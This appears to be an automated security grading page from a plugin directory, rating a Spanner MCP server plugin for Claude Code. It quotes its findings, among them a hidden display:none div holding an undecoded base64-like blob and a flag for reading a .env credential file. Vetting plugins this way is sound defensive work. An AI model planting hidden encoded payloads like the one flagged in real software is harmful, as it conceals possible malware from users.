Grades are a hygiene check, not a security guarantee.

Claude Code, Plugin

Spanner Schema Explorer

Spanner Query AI Gateway is not just another database connector, it's the read-only MCP (Model Context Protocol) server that transforms your Google Cloud Spanner into a secure, LLM-friendly knowledge source.

Compatibility: Not stated.

Grade C

One Medium finding. Read the report before installing.

Graded by PlugVetRubric v2

Not a guarantee. A hygiene check of the source at the commit shown, not a security audit.

OBFUSCATION_ENCODED_BLOB

Why this grade

  • OBFUSCATION_ENCODED_BLOB Medium

    Contains a long base64 shaped string in a file that should be readable.

    index.html, line 9 <div id="zXq343Tr0" style="display:none">kvgrxRy8ExAal237ImShofcM0tNnKxEOzgCdAqG50UGk5SfPHqxUakPaYPsuKPzDqhbV2382XxrUAY0Y5vfcQaTlIs8LqUoOHtpgsm1+9s68FMnMfyldDM8J1EWqo85d2bAr3hf1DgU

Any High, or two or more Medium findings, give D. One Medium gives C. Low findings or a security Note give B. Each code names a finding behind the letter.

Grades are a hygiene check of the source at the commit shown, on the date checked, not a security audit or a guarantee. The free directory grades are automated. Before release, a PlugVet engineer reviews every paid report and any grade we hold back, including all F grades, against the source code and the evidence we quote.

What was checked

Plain notes from the hygiene checks.

  • Permissions

    Pass

    No shell or command execution found, and no extra permission was declared.

  • Install and update

    Pass

    No install-time script found, and dependencies are pinned or absent.

  • Network

    Note

    can reach localhost.

    NETWORK_LOCALHOST

    README.md, line 101

    response = requests.post("http://localhost:8080/mcp", json=payload)

  • Secrets

    Concern

    reads a credential or environment file.

    SECRETS_PATH_DOTENV

    README.md, line 51

    Create a `.env` file or use environment variables:

  • Agent instructions

    Pass

    No instruction to ignore earlier instructions or to hide a step.

  • Obfuscation

    Concern

    contains an encoded blob in a file that should be readable.

    OBFUSCATION_ENCODED_BLOB

    index.html, line 9

    <div id="zXq343Tr0" style="display:none">kvgrxRy8ExAal237ImShofcM0tNnKxEOzgCdAqG50UGk5SfPHqxUakPaYPsuKPzDqhbV2382XxrUAY0Y5vfcQaTlIs8LqUoOHtpgsm1+9s68FMnMfyldDM8J1EWqo85d2bAr3hf1DgU

  • Licence

    Note

    no licence file found.

    LICENCE_MISSING

    No file path was stored.

    no licence file found.

  • Maintainer activity

    Pass

    The latest commit is within the last 365 days.

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Note

Hygiene check of commit d4423f8a1c03. can reach localhost. reads a credential or environment file. contains an encoded blob in a file that should be readable. no licence file found.

Date and source

Date checked:

View source

github.com

Commit graded: d4423f8a1c036221dacd10227a6fd980b3bb4d13

This link goes to the original host. PlugVet does not host or check what you download from there, and installing it is your own decision and risk.

Read how this letter is chosen